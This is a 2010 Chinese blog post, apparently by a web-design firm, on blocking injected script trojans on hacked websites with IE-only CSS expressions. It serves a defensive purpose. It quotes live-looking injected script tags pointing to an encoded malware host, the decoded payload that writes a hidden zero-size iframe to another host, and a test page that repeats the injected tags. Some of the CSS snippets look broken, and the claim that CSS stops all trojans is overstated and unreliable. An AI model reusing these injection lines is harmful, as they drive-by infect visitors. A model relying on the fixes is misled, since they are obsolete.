首頁?>?知識?資訊?>?解決全部網(wǎng)頁木馬的代碼?>?正文

解決全部網(wǎng)頁木馬的代碼

2010/8/23 0:00:00 · 稿源:傳誠信

還是掛馬問題,這段時間,我漸漸感到壓力,頭大,通過QQ或MSN加我的人越來越多,我最近自己的工作本來就忙得不亦樂乎。哎,想想,還是要抽空來來幫幫大家。

可現(xiàn)在掛網(wǎng)馬的方式真如我所料地改變了,現(xiàn)在流行掛< script>木馬,汗了,看了幾個網(wǎng)友的網(wǎng)站都被這樣了——頁面的頂部或底部加上了:

注意,以下地址含有木馬,請不要輕易訪問:

< script src=http://%76%63%63%64%2E%63%6E>< /script>
< script src=http://%76%63%63%64%2E%63%6E>< /script>
< script src=http://%76%63%63%64%2E%63%6E>< /script>
< script src=http://%76%63%63%64%2E%63%6E>< /script>
< script src=http://%76%63%63%64%2E%63%6E>< /script>
< script src=http://%76%63%63%64%2E%63%6E>< /script>
< script src=http://%76%63%63%64%2E%63%6E>< /script>
< script src=http://%76%63%63%64%2E%63%6E>< /script>

汗死,一連插入了N個一樣的< script>標記。偶的電腦什么補丁都打了,直接訪問這個http://%76%63%63%64%2E%63%6E(或直接使用迅雷下載),額~ 現(xiàn)形了:

document.write("< div style='display:none'>")
document.write("< iframe src=http://a.158dm.com/b1.htmid=017 width=0 height=0>< /iframe>")
document.write("< /div>")

又用迅雷下載http://a.158dm.com/b1.htm這個文件,一看,亂七八糟的JS編碼,汗,不過找到了一個類似QQ號的數(shù)字,直接加加看,汗,然后是專業(yè)提供網(wǎng)馬的組織,哎,什么世道。還收費蠻高滴呢!

...
var Kfqq, Qqs="[color=Magenta]784378237[/color]"; qwfgsg="LLLL\\XXXXXLD"; Kfqq = Qqs;
(...略)(下面還有N個統(tǒng)計的JS代碼)

針對上面的情況,我也不能白白瞧著不管,想想辦法吧,兄弟。喝了碗綠豆粥,糖放得蠻多的,好喝。辦法想到了。稍微分析就得出了答案。大家來看看,< script>木馬的特點是什么:

< script src=http://%76%63%63%64%2E%63%6E>< /script>

對了,script木馬的src一般都是外域的,也就是src是以http打頭的,如果是自己網(wǎng)站的script一般都不用加上http;再看看木馬的原形,里面還是輸出的iframe、JS代碼或是其他< object>代碼,不管這么多,來多少殺多少。

來跟我寫CSS,一一搞定它們,我寫了5種不同的方案,大家來測試一下哈:

解決方案1

iframe{n1ifm:expression(this.src='about:blank',this.outerHTML='');}/*這行代碼是解決掛IFRAME木馬的哦*/
script{nojs1:expression((this.src.toLowerCase().indexOf('http')==0)document.write('木馬被成功隔離!'):'');}

原理:將< script>標記的src拿出來轉(zhuǎn)為小寫,再看是不是以“http”開頭的外域JS腳本文件,如果是,則頁面內(nèi)容清空并寫出“木馬被成功隔離!”。反之正常顯示。

缺點:訪客無法看到被感染了< script>木馬的頁面。

解決方案2

iframe{nifm2:expression(this.src='about:blank',this.outerHTML='');}
script{no2js:expression((this.src.toLowerCase().indexOf('http')==0)document.close():'');}

原理:將外域的JS文件的document.write()使用document.close()強制關(guān)閉。木馬內(nèi)容還沒有來得及寫完,只有部分被強制緩存輸出了,剩下的不會再寫了。

解決方案3

iframe{ni3fm:expression(this.src='about:blank',this.outerHTML='');}
script{n3ojs:expression((this.src.toLowerCase().indexOf('http')==0)document.execCommand('stop'):'');}

原理:同到外域的JS文件,立即調(diào)用IE私有的execCommand方法來停止頁面所有請求,所以接下來的外域JS文件也被強制停止下載了。就像我們點了瀏覽器的“停止”按鈕一樣??磥磉@是JS模擬IE停止按鈕的一種方法。

解決方案4

iframe{nif4m:expression(this.src='about:blank',this.outerHTML='');}
script{noj4s:expression(if(this.src.indexOf('http')==0)this.src='res://ieframe.dll/dnserror.htm');}

原理:將外域的JS文件的src重寫成本地IE404錯誤頁面的地址,這樣,外域的JS代碼不會下載。

解決方案5:

iframe{nifm5:expression(this.src='about:blank',this.outerHTML='');}
script{noj5s:expression((this.id.toLowerCase().indexOf('vok')!=-1)document.write('木馬被成功隔離!'):''));}

第五種方案的頁面HTML源代碼< script>中要加入以"lh"為前綴的id,如lhWeatherJSapi,< script src="***/**?.?JS" id="lhSearchJSapi">< /script> 

以下頁面代碼里含有一個木馬地址,而且木馬在頁面里重復(fù)了6次,大家分別用我上面的不同方案測試一下,看看我的研究如何?。ù藴y試有一定的危險性,請務(wù)必打好所有補丁再測試)

< !DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
< html xmlns="http://www.w3.org/1999/xhtml">
< head>
< meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
< title>讓JS木馬的進程迅速中止的CSS代碼< /title>
< style type="text/css" id="LinrStudio">
/*< ![CDATA[*/
iframe{nhk1:expression(this.src='about:blank',this.outerHTML='');}
script{ngz1:expression((this.src.indexOf('http')==0)document.close():'');}
/* 以后請在此關(guān)注最新木馬處理方法:http://www.nihaoku.cn/ff/api.htm */
/*]]>*/
< /style>
< /head>
< body>
< script type="text/javascript" src="1?.?JS">< /script>
< script src=http://%76%63%63%64%2E%63%6E>< /script>
< script src="http://%76%63%63%64%2E%63%6E" type="text/javascript">< /script>
< script src=http://%76%63%63%64%2E%63%6E>< /script>
我是頁面本身的1
< script src=http://%76%63%63%64%2E%63%6E>< /script>
我是頁面本身的2
< script src=http://%76%63%63%64%2E%63%6E>< /script>
我是頁面本身的3
< script src=http://%76%63%63%64%2E%63%6E>< /script>
< /body>
< /html>

其中1?.?JS是自己本站的:

document.write("我是本站的JS文件");
document.write("< img src='http://www.baidu.com/images/logo.gif' />");

我的測試環(huán)境是:

Windows XP SP2 和windows Vista SP1
IE6/IE7/IE8
已全部打好補丁。

綜上所述,所有目前的掛馬方式全都破解了,用CSS就可以解決所有木馬問題,訪客不會再輕易地中毒了。

?

選擇我們,優(yōu)質(zhì)服務(wù),不容錯過
1. 優(yōu)秀的網(wǎng)絡(luò)資源,穩(wěn)定的網(wǎng)站和速度保證
?(配送雙線獨立ip空間,國際A級BGP機房,99.5% 的主機在線時間)
2. 7年北京網(wǎng)站建設(shè)經(jīng)驗,優(yōu)秀的技術(shù)和設(shè)計水平,更放心
3. 全程省心服務(wù),不必擔(dān)心自己不懂網(wǎng)絡(luò),更省心。
-----------------------------------------------------------------------------------------------------
我們的與眾不同之處:

????? 免費網(wǎng)絡(luò)營銷顧問:我們?yōu)槟峁┟赓M的網(wǎng)絡(luò)營銷顧問服務(wù),您需要了解關(guān)于如何開展網(wǎng)絡(luò)營銷,電子商務(wù)網(wǎng)站設(shè)計等的事宜,歡迎隨時聯(lián)系我們。

???? ?seo友好的網(wǎng)站管理系統(tǒng):除了優(yōu)質(zhì)的網(wǎng)站空間,網(wǎng)站管理系統(tǒng),和網(wǎng)站設(shè)計外,我們的網(wǎng)站管理系統(tǒng)更是seo友好的,包括:自定義欄目名,Google Sitemap自動生成,靜態(tài)頁面生成等等,讓您的網(wǎng)站。

???? ?免費網(wǎng)絡(luò)營銷培訓(xùn):如何更好的投放網(wǎng)絡(luò)廣告,如何提高網(wǎng)絡(luò)廣告的投資回報,如何發(fā)帖子,
???? ?如何優(yōu)化網(wǎng)站,我們有豐富的經(jīng)驗開放給您!祝君成功!

聯(lián)系我們:010-62199213?? 62122723-808?? 賈先生
傳誠信北京
網(wǎng)站建設(shè)網(wǎng)站:
www.94883.cn?點擊查看經(jīng)典網(wǎng)站案例
北京網(wǎng)站建設(shè)
2010年網(wǎng)站建設(shè)套餐及優(yōu)惠!

  • 相關(guān)推薦
  • 大家在看
熱文
  • 熱門
  • 最新
客戶服務(wù)
咨詢熱線

010-62199213

24小時咨詢熱線

139-1050-5354